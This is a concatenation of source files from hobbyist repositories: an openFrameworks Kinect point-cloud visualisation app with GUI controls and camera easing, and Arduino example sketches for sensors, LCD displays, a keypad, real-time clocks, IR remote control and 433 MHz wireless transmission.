fbo.draw(0,0,640,480);
glPopMatrix();
glPushMatrix();
//ofSetupScreenOrtho(ofGetWidth(),ofGetHeight(),true);
ofTranslate(warp2.origin.x,warp2.origin.y);
glMultMatrixf(homography2.getPtr());
fbo2.draw(0,0,640,480);
glPopMatrix();
//vaWarp.draw(GL_QUADS,&fbo.getTexture(0));
ofNoFill();
if(controlsWindow->showDepth){
cvdepth.draw(ofGetWidth()-320,ofGetHeight()-240,320,240);
ofRect(ofGetWidth()-320,ofGetHeight()-240,320,240);
}
if(controlsWindow->showRGB){
kinect.draw(ofGetWidth()-320,ofGetHeight()-240,320,240);
//texRGBCalibrated.draw(ofGetWidth()-320,ofGetHeight()-240,320,240);
ofRect(ofGetWidth()-320,ofGetHeight()-240,320,240);
}
if(controlsWindow->showContour)
contourFinder.draw(0,240);
if(controlsWindow->showStats){
for(int i=0;i<4;i++)
ofDrawBitmapString(ofToString((int)src[i].x) + "," + ofToString((int)src[i].y) + ":" + ofToString((int)dst[i].x) + "," + ofToString((int)dst[i].y),ofGetWidth()-200,ofGetHeight()-(i+1)*20);
ofDrawBitmapString(ofToString(int(ofGetFrameRate())),ofGetWidth()-200,ofGetHeight()-5*20);
}
}
}
//--------------------------------------------------------------
void testApp::cameraPosChanged(ofPoint & pos){
camera.position(ofxVec3f(pos.x,camera.getPosition().y,pos.y));
}
//--------------------------------------------------------------
void testApp::cameraLookAtChanged(ofPoint & pos){
camera.eye(ofxVec3f(pos.x,camera.getEye().y,pos.y));
}
//--------------------------------------------------------------
void testApp::cameraYChanged(float & pos){
camera.position(ofxVec3f(camera.getPosition().x,pos,camera.getPosition().z));
}
//--------------------------------------------------------------
void testApp::cameraLookAtYChanged(float & pos){
camera.eye(ofxVec3f(camera.getEye().x,pos,camera.getEye().z));
}
//--------------------------------------------------------------
void testApp::liveVideoChanged(bool & pressed){
source->close();
if(pressed){
kinect.init();
kinect.open();
kinect.setCameraTiltAngle(controlsWindow->tilt);
//women
/*kPlayer[0].setup("6-13-9-48/depth.bin",true);
kPlayer[1].setup("6-14-17-4/depth.bin",true);
kPlayer[2].setup("6-14-38-34/depth.bin",true);
kPlayer[3].setup("6-15-1-52/depth.bin",true);*/
//dresses
kPlayer[0].setup("dresses/5-16-52-46/depth.bin",true);
kPlayer[1].setup("dresses/5-17-8-59/depth.bin",true);
kPlayer[2].setup("dresses/5-18-59-54/depth.bin",true);
kPlayer[3].setup("dresses/5-19-13-23/depth.bin",true);
kPlayer[4].setup("dresses/5-19-33-10/depth.bin",true);
source = &kinect;
controlsWindow->numPlayers = 4;
}else{
kPlayer[0].setup("dresses/5-16-52-46/depth.bin",true);
source = &kPlayer[0];
controlsWindow->numPlayers = 1;
}
}
//--------------------------------------------------------------
void testApp::recordChanged(bool & pressed){
if(pressed){
string folder = ofToString(ofGetDay())+"-"+ofToString(ofGetHours())+"-"+ofToString(ofGetMinutes())+"-"+ofToString(ofGetSeconds());
system(("mkdir " + ofToDataPath(folder)).c_str());
recorder.init(folder+"/depth.bin");
}else{
recorder.close();
}
}
//--------------------------------------------------------------
void testApp::tiltChanged(float & tilt){
kinect.setCameraTiltAngle(tilt);
}
//--------------------------------------------------------------
void testApp::fakeDOFChanged(float & fakeDOF){
controlsWindow->psize = fakeDOF;
for(int i=0;i<controlsWindow->numPlayers+1;i++){
pc_renderer[i].oneInX = 2+fakeDOF*(1/(20-fakeDOF));
pc_renderer[i].oneInY = 2+fakeDOF*(1/(20-fakeDOF));
}
controlsWindow->alpha = ofClamp(255./(fakeDOF*0.5),100,255);
}
void testApp::dramaticZoomChanged(float & zoom){
controlsWindow->fov = 60+zoom;
controlsWindow->postTranslateZ = zoom*controlsWindow->dramaticZoomFactor;
for(int i=0;i<controlsWindow->numPlayers+1;i++){
pc_renderer[i].focusDistance = 800.-zoom*controlsWindow->dramaticZoomFactor;
}
}
void testApp::toggleTwoScreens(bool & pressed){
if(pressed){
ofSetWindowShape(1280+200,800);
ofSetWindowPosition(1280-200,-20);
}
}
void testApp::showWarpChanged(bool & pressed){
warp.setVisible(pressed);
if(pressed){
warp.enable();
}else{
warp.disable();
}
warp2.setVisible(pressed);
if(pressed){
warp2.enable();
}else{
warp2.disable();
}
}
void testApp::activateCameraEasing(bool & pressed){
// variables for animation
// SETTING 2 : swooping out slightly to left
cameraEasing.begin_animated_rot_x = 50;
cameraEasing.end_animated_rot_x = -50;
cameraEasing.duration_animated_rot_x = 300;
cameraEasing.begin_animated_rot_y = 0;
cameraEasing.end_animated_rot_y = 0;
cameraEasing.duration_animated_rot_y = 300;
cameraEasing. begin_animated_rot_z = 0;
cameraEasing.end_animated_rot_z = 0;
cameraEasing.duration_animated_rot_z = 300;
cameraEasing.begin_animated_trans_x = 0;
cameraEasing.end_animated_trans_x = 0;
cameraEasing.duration_animated_trans_x = 300;
cameraEasing.begin_animated_trans_y = 0;
cameraEasing.end_animated_trans_y = 0;
cameraEasing.duration_animated_trans_y = 300;
cameraEasing.begin_animated_trans_z = 0;
cameraEasing.end_animated_trans_z = 0;
cameraEasing.duration_animated_trans_z = 300;
cameraEasing.start();
}
void testApp::activateCameraEasing2(bool & pressed){
// variables for animation
// SETTING 1 : swooping out slightly to left
cameraEasing.begin_animated_rot_x = -25.0;
cameraEasing.end_animated_rot_x = 0.0;
cameraEasing.duration_animated_rot_x = 300;
cameraEasing.begin_animated_rot_y = 90.0;
cameraEasing.end_animated_rot_y = 0.0;
cameraEasing.duration_animated_rot_y = 300;
cameraEasing.begin_animated_rot_z = 0;
cameraEasing.end_animated_rot_z = 0;
cameraEasing.duration_animated_rot_z = 300;
cameraEasing.begin_animated_trans_x = 0;
cameraEasing.end_animated_trans_x = 0;
cameraEasing.duration_animated_trans_x = 300;
cameraEasing.begin_animated_trans_y = 200;
cameraEasing.end_animated_trans_y = 0;
cameraEasing.duration_animated_trans_y = 300;
cameraEasing.begin_animated_trans_z = -1000;
cameraEasing.end_animated_trans_z = 0;
cameraEasing.duration_animated_trans_z = 300;
cameraEasing.start();
}
//--------------------------------------------------------------
void testApp::keyPressed(int key){
}
//--------------------------------------------------------------
void testApp::keyReleased(int key){
}
//--------------------------------------------------------------
void testApp::mouseMoved(int x, int y ){
}
//--------------------------------------------------------------
void testApp::mouseDragged(int x, int y, int button){
}
//--------------------------------------------------------------
void testApp::mousePressed(int x, int y, int button){
}
//--------------------------------------------------------------
void testApp::mouseReleased(int x, int y, int button){
}
//--------------------------------------------------------------
void testApp::windowResized(int w, int h){
warp.reshape(ofRectangle(ofGetWidth()-640,0,640,480));
warp2.reshape(ofRectangle(ofGetWidth()-640*2-10,0,640,480));
}
void testApp::audioReceived( float * input, int bufferSize, int nChannels ){
sc_renderer.audioReceived(input,bufferSize,nChannels);
}
<file_sep>/*
* MeshRenderer.h
*
* Created on: 27/12/2010
* Author: arturo
*/
#ifndef MESHRENDERER_H_
#define MESHRENDERER_H_
#include "Renderer.h"
#include "VertexArray.h"
class MeshRenderer: public Renderer {
public:
MeshRenderer();
virtual ~MeshRenderer();
void setup();
void update(float * vertexes, int w,int h);
void update(float * vertexes, ofPoint * texCoords, int w,int h);
void update(float * vertexes, unsigned char* rgb, int w,int h);
void draw(ofTexture * tex=NULL);
float objectDepthThreshold; // how far in cm points should be to consider them a different object
private:
VertexArray va;
};
#endif /* MESHRENDERER_H_ */
<file_sep>/*
* CameraEasing.cpp
*
* Created on: Jan 8, 2011
* Author: arturo
*/
#include "CameraEasing.h"
#include "ofMain.h"
CameraEasing::CameraEasing() {
easing_animated_rot_x.setFrameBasedAnimation();
easing_animated_rot_y.setFrameBasedAnimation();
easing_animated_rot_z.setFrameBasedAnimation();
easing_animated_trans_x.setFrameBasedAnimation();
easing_animated_trans_y.setFrameBasedAnimation();
easing_animated_trans_z.setFrameBasedAnimation();
}
CameraEasing::~CameraEasing() {
// TODO Auto-generated destructor stub
}
void CameraEasing::start(){
easing_animated_rot_x.setParameters(easing,ofxTween::easeInOut,begin_animated_rot_x,end_animated_rot_x,duration_animated_rot_x,0);
easing_animated_rot_y.setParameters(easing,ofxTween::easeInOut,begin_animated_rot_y,end_animated_rot_y,duration_animated_rot_y,0);
easing_animated_rot_z.setParameters(easing,ofxTween::easeInOut,begin_animated_rot_z,end_animated_rot_z,duration_animated_rot_z,0);
easing_animated_trans_x.setParameters(easing,ofxTween::easeInOut,begin_animated_trans_x,end_animated_trans_x,duration_animated_trans_x,0);
easing_animated_trans_y.setParameters(easing,ofxTween::easeInOut,begin_animated_trans_y,end_animated_trans_y,duration_animated_trans_y,0);
easing_animated_trans_z.setParameters(easing,ofxTween::easeInOut,begin_animated_trans_z,end_animated_trans_z,duration_animated_trans_z,0);
easing_animated_rot_x.start();
easing_animated_rot_y.start();
easing_animated_rot_z.start();
easing_animated_trans_x.start();
easing_animated_trans_y.start();
easing_animated_trans_z.start();
}
void CameraEasing::update(){
animated_rot_x = easing_animated_rot_x.update();
animated_rot_y = easing_animated_rot_y.update();
animated_rot_z = easing_animated_rot_z.update();
animated_trans_x = easing_animated_trans_x.update();
animated_trans_y = easing_animated_trans_y.update();
animated_trans_z = easing_animated_trans_z.update();
}
void CameraEasing::rotate(){
ofRotate(animated_rot_x,1,0,0);
ofRotate(animated_rot_y,0,1,0);
ofRotate(animated_rot_z,0,0,1);
}
void CameraEasing::translate(){
ofTranslate(animated_trans_x,animated_trans_y,animated_trans_z);
}
<file_sep>/*
* ControlsWindow.h
*
* Created on: 08/01/2011
* Author: arturo
*/
#ifndef CONTROLSWINDOW_H_
#define CONTROLSWINDOW_H_
#include "ofxFenster/ofxFenster.h"
#include "ofxWidgets/src/ofxWidgets.h"
#include "testApp.h"
class ControlsWindow: public ofxFensterListener {
public:
ControlsWindow(testApp * app);
virtual ~ControlsWindow();
void fensterSetup();
void fensterUpdate();
void fensterDraw();
void fensterKeyPressed (int key);
void fensterKeyReleased(int key);
void fensterMouseMoved(int x, int y );
void fensterMouseDragged(int x, int y, int button);
void fensterMousePressed(int x, int y, int button);
void fensterMouseReleased(int x, int y, int button);
void fensterWindowResized(int w, int h);
bool whiteScreen;
bool twoScreens;
bool noRender;
int fps;
int oneInX, oneInY;
bool dof;
int minimumGray;
int objectDepthThreshold;
float focusDistance, aperture, pointBrightness, rgbBrightness, maxPointSize, pointSizeFactor;
int numPlayers;
bool showLive,showPlayer[10],onlyLive;
bool showWarp;
bool soundCloud;
float dramaticZoomFactor;
bool texPoints;
bool mesh;
bool color;
bool depthToGray;
float depthThreshold,minDistance,scaleFactor;
bool useDepthFactor;
float tilt;
int gray,alpha,psize;
int min_blob, max_blob;
float nearClip,farClip;
float fov;
ofPoint rot_axis;
float rot;
float translateZ,translateX,translateY;
float postTranslateZ;
bool showContour, showDepth, showClipPlanes, showRGB, showStats;
bool doCameraEasing;
ofxWFrame gui;
ofxWFrame comp_gui;
ofxWFrame easing_gui;
testApp * app;
};
#endif /* CONTROLSWINDOW_H_ */
<file_sep>/*
* PCRenderer.h
*
* Created on: 14/12/2010
* Author: arturo
*/
#ifndef PCRENDERER_H_
#define PCRENDERER_H_
#include "VertexArray.h"
#include "Renderer.h"
#include "ofxShader.h"
class PCRenderer: public Renderer {
public:
PCRenderer();
virtual ~PCRenderer();
void setup();
void update(float * vertexes, int w,int h);
void update(float * vertexes, unsigned char* rgb, int w,int h);
void update(float * vertexes, ofPoint* texcoords, int w,int h);
void draw(ofTexture * tex=NULL);
int oneInX, oneInY;
bool dof;
float focusDistance;
float aperture;
float pointBrightness;
float rgbBrightness;
float maxPointSize;
float pointSizeFactor;
private:
VertexArray va;
vector<float> pointSizes;
ofxShader shader;
};
#endif /* PCRENDERER_H_ */
<file_sep>/*
* CameraEasing.h
*
* Created on: Jan 8, 2011
* Author: arturo
*/
#ifndef CAMERAEASING_H_
#define CAMERAEASING_H_
#include "ofxTween.h"
class CameraEasing {
public:
CameraEasing();
virtual ~CameraEasing();
void start();
void update();
void rotate();
void translate();
float begin_animated_rot_x;
float begin_animated_rot_y;
float begin_animated_rot_z;
float begin_animated_trans_x;
float begin_animated_trans_y;
float begin_animated_trans_z;
float end_animated_rot_x;
float end_animated_rot_y;
float end_animated_rot_z;
float end_animated_trans_x;
float end_animated_trans_y;
float end_animated_trans_z;
float duration_animated_rot_x;
float duration_animated_rot_y;
float duration_animated_rot_z;
float duration_animated_trans_x;
float duration_animated_trans_y;
float duration_animated_trans_z;
private:
ofxTween easing_animated_rot_x;
ofxTween easing_animated_rot_y;
ofxTween easing_animated_rot_z;
ofxTween easing_animated_trans_x;
ofxTween easing_animated_trans_y;
ofxTween easing_animated_trans_z;
ofxEasingSine easing;
float animated_rot_x;
float animated_rot_y;
float animated_rot_z;
float animated_trans_x;
float animated_trans_y;
float animated_trans_z;
};
#endif /* CAMERAEASING_H_ */
<file_sep>/*
* ControlsWindow.cpp
*
* Created on: 08/01/2011
* Author: arturo
*/
#include "ControlsWindow.h"
ControlsWindow::ControlsWindow(testApp * app) {
this->app = app;
}
ControlsWindow::~ControlsWindow() {
// TODO Auto-generated destructor stub
}
void ControlsWindow::fensterSetup(){
fenster->setFPS(10);
ofxWidget::setEventsObject(&ofxFensterEvents);
min_blob = 640*480/5;
max_blob = 640*480;
showContour = false;
texPoints = false;
translateX=0;
translateY=0;
showRGB=false;
twoScreens=false;
showLive=false;
//showPlayer[0]=true;
//showPlayer[1]=true;
for(int i=0;i<10;i++)
showPlayer[i]=false;
fps=30;
nearClip=0;farClip=0;
fov = 60;
postTranslateZ=0;
doCameraEasing = false;
gui.init("");
gui.addTab("3d camera");
//ofAddListener(gui.addSpinSlider("camera y:",640,-640,640).floatEvent,this,&testApp::cameraYChanged);
//ofAddListener(gui.addSpinSlider("camera lookat y:",320,-640,640).floatEvent,this,&testApp::cameraLookAtYChanged);
gui.addSpinSlider("render 1 in x:",&oneInX,1,30);
gui.addSpinSlider("render 1 in y:",&oneInY,1,30);
//gui.addSpinSlider("depth threshold: ",&renderer.depthThreshold,0,1000);
gui.addSpinSlider("near clip:",&nearClip,0,255);
gui.addSpinSlider("far clip:",&farClip,0,255);
gui.addSpinSlider("depth thres:",&depthThreshold,0,10000);
gui.addSpinSlider("fov:",&fov,0,200);
gui.addSpinSlider("min blob:",&min_blob,0,640*480);
gui.addSpinSlider("max blob:",&max_blob,0,640*480);
gui.addSpinSlider("axis x",&rot_axis.x,0,1000);
gui.addSpinSlider("axis y",&rot_axis.y,0,1000);
gui.addSpinSlider("axis z",&rot_axis.z,0,-1000);
gui.addSpinSlider("rot y",&rot,-180,180);
gui.addSpinSlider("translate z",&translateZ,-1000,1000);
gui.addSpinSlider("translate x",&translateX,-1000,1000);
gui.addSpinSlider("translate y",&translateY,-1000,1000);
gui.addSpinSlider("postranslate z",&postTranslateZ,-1000,1000);
gui.addLoadButton("settings.xml","settings");
gui.addSaveButton("settings.xml","settings");
gui.addTab("kinect");
ofAddListener(gui.addToggle("video/live",false).boolEvent,app,&testApp::liveVideoChanged);
ofAddListener(gui.addSpinSlider("tilt",0,-30,30,1).floatEvent,app,&testApp::tiltChanged);
gui.addSpinSlider("player fps",&fps,0,60,1);
gui.addToggle("no render",&noRender);
ofAddListener(gui.addToggle("record",false).boolEvent,app,&testApp::recordChanged);
gui.addTab("view");
gui.addToggle("show contour",&showContour);
gui.addToggle("show depth",&showDepth);
gui.addToggle("show clipPlanes",&showClipPlanes);
gui.addToggle("show rgb",&showRGB);
gui.addToggle("show stats",&showStats);
gui.addToggle("show live",&showLive);
gui.addToggle("show player1",&(showPlayer[0]));
gui.addToggle("show player2",&(showPlayer[1]));
gui.addToggle("show player3",&(showPlayer[2]));
gui.addToggle("show player4",&(showPlayer[3]));
gui.addToggle("show player5",&(showPlayer[4]));
gui.addToggle("only live",&onlyLive);
ofAddListener(gui.addToggle("show warp",&showWarp).boolEvent,app,&testApp::showWarpChanged);
gray = 255;
alpha = 255;
psize = 1;
gui.addTab("render");
gui.addSpinSlider("gray",&gray,0,255,1);
gui.addSpinSlider("alpha",&alpha,0,255,1);
gui.addSpinSlider("p. size",&psize,0,64,1);
gui.addToggle("textured points",&texPoints);
gui.addSpinSlider("minDistance",&minDistance,0,-100,1);
gui.addSpinSlider("scaleFactor",&scaleFactor,0,.01,.001);
gui.addToggle("draw mesh", &mesh);
gui.addToggle("draw sound", &soundCloud);
gui.addSpinSlider("sound buffers",&app->sc_renderer.numSoundBuffers,1,64);
gui.addSpinSlider("sound depth",&app->sc_renderer.soundDepthFactor,0,2000);
gui.addToggle("real world coords",&useDepthFactor);
gui.addToggle("depth of field",&dof);
gui.addToggle("color",&color);
gui.addToggle("depth to gray",&depthToGray);
gui.addSpinSlider("min. gray", &minimumGray, 0, 255);
gui.addSpinSlider("mesh object thres.", &objectDepthThreshold, 0, 255);
gui.addSpinSlider("focusDistance", &focusDistance, 0, 2000);
gui.addSpinSlider("aperture", &aperture, 0, .1, .001);
gui.addSpinSlider("pointBrightness", &pointBrightness, 0, 1, .01);
gui.addSpinSlider("rgbBrightness", &rgbBrightness, 0, 1, .01);
gui.addSpinSlider("maxPointSize", &maxPointSize, 0, 30);
gui.addGroupedToggle("circle",true,"DOF_TEX","DOF_TEX_CIRCLE");
gui.addGroupedToggle("bokeh",false,"DOF_TEX","DOF_TEX_BOKEH");
gui.addGroupedToggle("gauss",false,"DOF_TEX","DOF_TEX_GAUSS");
gui.addSpinSlider("pSize factor", &pointSizeFactor, 1, 30);
gui.addToggle("white screen",&whiteScreen);
gui.addToggle("move warp",&app->warp.moveOrigin);
//ofAddListener(gui.addButton("two screens").boolEvent,app,&testApp::toggleTwoScreens);
gui.loadFrom("settings.xml","settings");
dramaticZoomFactor = 10;
comp_gui.init("composite params");
ofAddListener(comp_gui.addSpinSlider("fake dof",1.f,1.f,19.f).floatEvent,app,&testApp::fakeDOFChanged);
ofAddListener(comp_gui.addSpinSlider("dramatic zoom",0.f,0.f,200.f).floatEvent,app,&testApp::dramaticZoomChanged);
comp_gui.addSpinSlider("d. zoom fac.",&dramaticZoomFactor,1.f,100.f);
easing_gui.init("easing");
ofAddListener(easing_gui.addToggle("camera easing",&doCameraEasing).boolEvent,app,&testApp::activateCameraEasing);
ofAddListener(easing_gui.addToggle("camera easing2",&doCameraEasing).boolEvent,app,&testApp::activateCameraEasing2);
}
void ControlsWindow::fensterUpdate(){
}
void ControlsWindow::fensterDraw(){
}
void ControlsWindow::fensterKeyPressed (int key){
}
void ControlsWindow::fensterKeyReleased(int key){
}
void ControlsWindow::fensterMouseMoved(int x, int y ){
}
void ControlsWindow::fensterMouseDragged(int x, int y, int button){
}
void ControlsWindow::fensterMousePressed(int x, int y, int button){
}
void ControlsWindow::fensterMouseReleased(int x, int y, int button){
}
void ControlsWindow::fensterWindowResized(int w, int h){
}
|
e55c4372c4e36312c9847fb6e798fbeee5825612
|
[
"C++"
] | 10 |
C++
|
mfargo/shift
|
19240c29f3f61d0e67742e9f2cd585623d985707
|
d13107801251ed30605ead515b69bf8a576a16b5
|
refs/heads/master
|
<file_sep># hello-world
Just another repository
There is something i need to change here
|
63f6138658f83d2ae78c8898979c7c9e80a6b197
|
[
"Markdown"
] | 1 |
Markdown
|
MauriceZandberg/hello-world
|
aa407fdbd6a28d62b94fb5c84c618ecfe23c2a93
|
ab1a8117bee926ca36aafd2a34ca72948c5d484e
|
refs/heads/master
|
<repo_name>HossamBalaha/Arduino-Book-Code<file_sep>/Capitolo 10/IR_SamsungTV_ON/IR_SamsungTV_ON.ino
/**
Questo programma permette di accendere e spegnere ongni 10 secondi, la TV Samsung di casa
Autore <NAME>
*/
#include "IRremote.h"
IRsend irsend;
void setup()
{
Serial.begin(9600);
}
unsigned int ON[68]={4450,4400,600,1650,600,1600,600,1650,600,500,600,550,550,550,600,500,600,550,550,1600,650,1600,600,1650,600,550,550,550,550,550,600,550,550,550,600,500,600,1600,600,550,600,550,550,550,550,550,600,500,600,550,600,1600,600,550,550,1650,600,1600,600,1650,600,1600,600,1650,600,1600,600,};
void loop() {
irsend.sendRaw(ON,68,38);
Serial.println("Accendo la TV Samsung");
delay(10000);
}
<file_sep>/Capitolo 4/Display_temperatura/Display_temperatura.ino
/*
Questo programma mostra come uscare il Display LCD per mostrare la temperatura di casa
Il Circuito:
* LCD RS pin to digital pin 12
* LCD Enable pin to digital pin 11
* LCD D4 pin to digital pin 5
* LCD D5 pin to digital pin 4
* LCD D6 pin to digital pin 3
* LCD D7 pin to digital pin 2
* LCD R/W pin to ground
* 10K resistor:
* ends to +5V and ground
* wiper to LCD VO pin (pin 3)
Questo esempio è tratto dal sito di Arduino
http://www.arduino.cc/en/Tutorial/LiquidCrystal
*/
// include the library code:
#include <LiquidCrystal.h>
#include "DHT.h"
#define DHTPIN 8 // Il pin a cui è collegato il sensore
// Togli il commmento al sensore che vuoi usare
//#define DHTTYPE DHT11 // DHT 11
#define DHTTYPE DHT22 // DHT 22 (AM2302)
//#define DHTTYPE DHT21 // DHT 21 (AM2301)
// Connettere il pin 1 (a sinistra) a +5V
// Connettere il pin 2 del sensore alla porta 8
// Connettere il pin 4 (a destra) del sensore a GROUND
// Connettere una resistenza da 10K tra il pin 2 (data) e il pin 1 (power) del sensore
DHT dht(DHTPIN, DHTTYPE);
// Viene inzializzata la libreria del Display con i relativi PIN a cui è connesso il Display
LiquidCrystal lcd(12, 11, 5, 4, 3, 2);
void setup() {
lcd.begin(16, 2);
dht.begin();
}
void loop() {
// Legge la temperatura e l'umidità ogni 250 millisecondi!
// Vengono inizializzate le variabili in cui vengono scritti i valori letti
float h = dht.readHumidity();
float t = dht.readTemperature();
//Imposto la colonna 0, riga 0
lcd.setCursor(0,0);
// print the humidity
lcd.print("Humidita' ");
lcd.print(h);
lcd.print(" % ");
//Imposto la colonna 0, riga 1
lcd.setCursor(0,1);
lcd.print("Temp. ");
lcd.print(t);
lcd.print(" *C");
delay(1000);
}
<file_sep>/Capitolo 15/DHT22_wireless_RX_Serial/DHT22_wireless_RX_Serial.ino
/**
Questo programma permette di ricevere i dati della temperatura e dell'umidità, che vengono inviati da Arduino posto fuori casa,
sfruttando i sensori Wireless 433 MHz
Versione 1.0
Autore <NAME>
*/
#include <DataCoder.h>
#include <VirtualWire.h>
const int rx_pin = 11;
const int led_pin = 13;
const int baudRate = 800;
void setup()
{
delay(1000);
Serial.begin(9600);
pinMode(led_pin,OUTPUT);
digitalWrite(led_pin,LOW);
SetupRFDataRxnLink(rx_pin, baudRate);
}
void loop()
{
uint8_t buf[VW_MAX_MESSAGE_LEN];
uint8_t buflen = VW_MAX_MESSAGE_LEN;
union RFData inDataSeq;//To store incoming data
float inArray[2];//To store decoded information
if(RFLinkDataAvailable(buf, &buflen))
{
for(int i =0; i< buflen; i++)
{
inDataSeq.s[i] = buf[i];
}
DecodeRFData(inArray, inDataSeq);
Serial.println("Temperature: ");
Serial.print(inArray[0]);
Serial.print(" ° Humidity: ");
Serial.print(inArray[1]);
}
}
<file_sep>/Capitolo 3/Distance_LED/Distance_LED.ino
/* Programma che fa accedere un LED rosso, quando c'è un oggetto ad una certa distanza
HC-SR04 sensore di distanza
VCC al arduino 5v
GND al arduino GND
Echo al Arduino pin 7
Trig al Arduino pin 8
*/
#define echoPin 7 // Echo Pin
#define trigPin 8 // Trigger Pin
#define LEDPin 13 // LED
int maximumRange = 200; // Maximum range
int minimumRange = 10; // Minimum range
long duration, distance;
void setup() {
Serial.begin (9600);
pinMode(trigPin, OUTPUT);
pinMode(echoPin, INPUT);
pinMode(LEDPin, OUTPUT); // Inizializza il PIN del LED
}
void loop() {
/* La seguente funzione permette di ricavare la distanza a cui si trova un oggetto, vicino al sensore */
digitalWrite(trigPin, LOW);
delayMicroseconds(2);
digitalWrite(trigPin, HIGH);
delayMicroseconds(10);
digitalWrite(trigPin, LOW);
duration = pulseIn(echoPin, HIGH);
/* Calcola la distanza in centimetri dall'oggetto*/
distance = duration/58.2;
if (distance <= minimumRange){
/* Si accedende il LED rosso, se l'oggetto si trova a meno di una certa distanza*/
Serial.println("-1");
digitalWrite(LEDPin, HIGH);
}
else {
/* Viene mostrata la distanza nel seriale */
Serial.println(distance);
digitalWrite(LEDPin, LOW);
}
delay(50);
}
<file_sep>/Capitolo 9/RTC_1302/RTC_1302.ino
/*
Questo programma permette di utilizzare il modulo RTC DS1302 con Arduino, in modo da poter utilizzare le funzionalità dell'ora e data nei vari progetti
*/
// Vengono definiti i PIN a cui è connesso il modulo
#define SCK_PIN 4
#define IO_PIN 3
#define RST_PIN 2
#include <DS1302.h>
// Viene inizializzata la libreria
DS1302 rtc(RST_PIN, IO_PIN, SCK_PIN);
void setup()
{
rtc.halt(false);
// Viene disattiva la protezione alla scrittura
rtc.writeProtect(false);
Serial.begin(9600);
}
/* Main program */
void loop()
{
/* Qui è necesario impostare l'ora e la data.
Durante la fase di impostazione occorre togleire via i commenti laterali e compilare una prima volta.
Successivamente occorre commentare le tre righe di codice e compilare.
In questo modo qualora Arduino dovesse riavviarsi, non verrano impostati i dati precedenti (sbagliati)
*/
// rtc.setDOW(TUESDAY);
//rtc.setTime(12,03,0);
//rtc.setDate(21, 01, 2014);
/* Read the time and date once every second */
while(1)
{
Serial.print("It is ");
Serial.print(rtc.getDOWStr());
Serial.print(" ");
Serial.print(rtc.getDateStr());
Serial.print(" ");
Serial.print("and the time is: ");
Serial.println(rtc.getTimeStr());
delay (1000);
}
}
<file_sep>/Capitolo 4/Display_Hello_World/Display_Hello_World.ino
/*
Questo programma mostra come uscare il Display LCD per mostrare la parola "Hello World" e tempo da cui è stato accesso
Il Circuito:
* LCD RS pin to digital pin 12
* LCD Enable pin to digital pin 11
* LCD D4 pin to digital pin 5
* LCD D5 pin to digital pin 4
* LCD D6 pin to digital pin 3
* LCD D7 pin to digital pin 2
* LCD R/W pin to ground
* 10K resistor:
* ends to +5V and ground
* wiper to LCD VO pin (pin 3)
Questo esempio è tratto dal sito di Arduino
http://www.arduino.cc/en/Tutorial/LiquidCrystal
*/
// include the library code:
#include <LiquidCrystal.h>
// Viene inzializzata la libreria del Display con i relativi PIN a cui è connesso il Display
LiquidCrystal lcd(12, 11, 5, 4, 3, 2);
void setup() {
// set up the LCD's number of columns and rows:
lcd.begin(16, 2);
// Stampa a video la parola "hello, world!"
lcd.print("hello, world!");
}
void loop() {
// Imposta il cursore alla colonna 0, riga 1
// (nota: line 1 è la seconda riga, dal momento che il conteggio inizia dallo 0):
lcd.setCursor(0, 1);
// Stampa a video i secondi passati dal momento del reset
lcd.print(millis()/1000);
}
<file_sep>/Capitolo 15/DHT22_wireless_TX/DHT22_wireless_TX.ino
/**
Questo programma permette di inviare i valori della temperatura e dell'umidità fuori casa, ad un Arduino, che avrà il compito di caricare
i dati su Xively
Versione 1.0
Autore <NAME>
*/
#include "DataCoder.h"
#include "VirtualWire.h"
#include "DHT.h"
#define DHTPIN 2
#define DHTTYPE DHT22
int transmit_pin = 12;
int led_pin = 13;
int baudRate = 800;
int delayTime = 10000;
DHT dht(DHTPIN, DHTTYPE);
void setup()
{
pinMode(led_pin,OUTPUT);
Serial.begin(9600);
SetupRFDataTxnLink(transmit_pin, baudRate);
dht.begin();
}
void loop()
{
float outArray[2];
float h = dht.readHumidity();
float t = dht.readTemperature();
outArray[0] = t;
outArray[1] = h;
union RFData outDataSeq;
EncodeRFData(outArray, outDataSeq);
TransmitRFData(outDataSeq);
delay(delayTime);//Tempo che passa tra l'invio dei dati
}
<file_sep>/Capitolo 9/RTC_Software/RTC_Software.ino
/* This file is part of swRTC library.
Please check the README file and the notes
inside the swRTC.h file to get more info
This example will print the time every second
to the computer through the serial port using the
format HH:MM or HH:MM:SS
Written by <NAME> <leonardo AT leonardomiliani DOT com>
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public
License as published by the Free Software Foundation; either
version 3.0 of the License, or (at your option) any later version.
*/
#include <swRTC.h>
swRTC rtc; //create a new istance of the lib
const byte WITHOUT_SECONDS = 0;
const byte WITH_SECONDS = 1;
void setup() {
rtc.stopRTC(); //stop the RTC
rtc.setTime(12,0,0); //set the time here
rtc.setDate(4,6,2012); //set the date here
rtc.startRTC(); //start the RTC
Serial.begin(19200); //choose the serial speed here
delay(2000); //delay to let the user opens the serial monitor
}
void loop() {
printTime(WITHOUT_SECONDS);
printTime(WITH_SECONDS);
Serial.println("");
delay(1000);
}
void printTime(byte withSeconds) {
sendNumber(rtc.getHours());
Serial.print(":");
sendNumber(rtc.getMinutes());
if (withSeconds) {
Serial.print(":");
sendNumber(rtc.getSeconds());
}
Serial.println("");
}
void sendNumber(byte number) {
byte temp;
if (number>9) {
temp=int(number/10);
Serial.print(char(temp+48));
number-=(temp*10);
} else {
Serial.print("0");
}
Serial.print(char(number+48));
}
<file_sep>/Capitolo 8/HelloKeypad_4x4/HelloKeypad_4x4.ino
/*Questo programma mostra come usare la tastiera KeyPad 4x4 con Arduino Uno.
Il testo che viene premuto sulla KeyPad viene mostrato nel seriale
*/
#include <Keypad.h>
const byte ROWS = 4; //quattro righe
const byte COLS = 4; //quattro colonne
byte colPins[4] = {5,4,3,2}; // Pin a cui sono connesse le colonne
byte rowPins[4] = {9,8,7,6}; // Pin a cui sono connesse le righe
char Keys[4][4]= //creo la matrice dei tasti della tastiera.
{
{'1','2','3','A'} ,
{'4','5','6','B'},
{'7','8','9','C'},
{'*','0','#','D'}
};
Keypad keyp = Keypad(makeKeymap(Keys), rowPins, colPins,4,4);
void setup(){
Serial.begin(9600);
}
void loop(){
char key = keyp.getKey();
if (key){
Serial.println(key);
}
}
<file_sep>/Capitolo 2/dht22_lettura/dht22_lettura.ino
// Programma che permette di leggere la temperatura, attraverso un sensore
#include "DHT.h"
#define DHTPIN 2 // Il pin a cui è collegato il sensore
// Togli il commmento al sensore che vuoi usare
